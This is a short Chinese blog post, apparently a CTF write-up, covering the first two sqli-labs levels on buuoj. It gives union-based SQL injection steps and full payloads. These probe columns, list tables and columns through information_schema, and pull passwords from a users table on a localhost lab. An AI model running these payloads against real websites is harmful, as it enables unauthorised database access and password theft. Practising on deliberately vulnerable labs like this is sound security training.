buuoj--sqlilabs

最新推荐文章于 2024-03-21 09:47:50 发布

EdwardMaxx

最新推荐文章于 2024-03-21 09:47:50 发布

阅读量910

点赞数

分类专栏： CTF

本文链接：https://blog.youkuaiyun.com/weixin_30270815/article/details/114842265

版权

本文详细介绍了在buuoj平台上的sqlilabs练习，通过GET方式解决不同类型的SQL注入问题，包括Error based、Double Injection、Blind等方法，涉及单引号、双引号、报错信息利用、数据库表和列名探测等技术。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

CTF

SQL注入

SQL注入

从2021年3月20日开始做buuoj，解决sql注入问题。

less1 GET - Error based - Single quotes - String

思路：
1，使用字符‘进行判断，看是否有报错。
2，猜测列行，’ 后面加 union select 1,2,3#探测行数，并注意观察回显位置。可以对字符做url编码
3，使用union select 1,(select group_concat(table_name) from information_schema.tables),3# 查询出所有表名
4，使用union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = ‘想要的表名’),3# 查询出所有需要表的列名，然后再找出flag

http://localhost/sqli-labs/Less-1/?id=-1’ or 1=1 union select 1,2,concat_ws(char(32,58,32),id,database(),password) from users limit 1,1 --+

less 2 GET - Error based - Intiger based

1，使用字符‘进行判断，看是否有报错。
2，猜测列行，’ 后面加 union select 1,2,3#探测行数，并注意观察回显位置。可以对字符做url编码。但此时仍然报错，尝试使用不存在的id读数据，在后面使用union select，发现回显，可以用。
3，使用union select 1,(select group_concat(table_name) from information_schema.tables),3# 查询出所有表名
4，使用union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = ‘想要的表名’),3# 查询出所有需要表的列名，然后再找出flag

http://localhost/sqli-labs/Less-1/?id=-1’ or 1=1 union select 1,2,concat_ws(char(32,58,32),id,database(),password) from users